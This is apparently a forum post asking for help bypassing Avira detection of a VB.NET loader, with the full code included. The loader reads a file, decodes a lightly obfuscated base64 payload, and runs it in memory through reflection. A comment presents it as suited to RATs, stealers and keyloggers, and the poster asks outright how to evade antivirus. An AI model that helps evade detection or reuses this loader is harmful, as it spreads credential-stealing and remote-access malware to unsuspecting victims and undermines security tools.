Hi i have one problem use this code for i Inject in memory one .net file,but avira detected this code and my file have this detection 1/35
Help me to bypass avira?very thks :)
Code
Imports System.IO
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Text
Public Class Form1
' thanks to Deathader for the reflection runpe...
Private Sub RunFromMemory(ByVal bytes As Byte()) 'not sure how it works :(
Dim assembly As Assembly = assembly.Load(bytes)
Dim entryPoint As MethodInfo = [assembly].EntryPoint
Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim filesbytes As Byte() = IO.File.ReadAllBytes("DTA32.HF") 'reads binary from the file
Dim lol As String = System.Text.Encoding.ASCII.GetString(filesbytes) 'converts bytes to string , so we can do whatever we want to them
Dim binaryData() As Byte = Convert.FromBase64String(lol.Replace("$", "A")) ' converts base64 string to bytes , also replaces all $ with A's
Dim x As New Threading.Thread(AddressOf RunFromMemory)
x.TrySetApartmentState(Threading.ApartmentState.STA)
x.Start(binaryData) 'runs the decoded binary in memory , with the reflection runpe thouth , it can only do that with .net executables
'good for RATS , Stealers , Keyloggers coded in .net
Me.Close() 'closes the application
End Sub
End Class


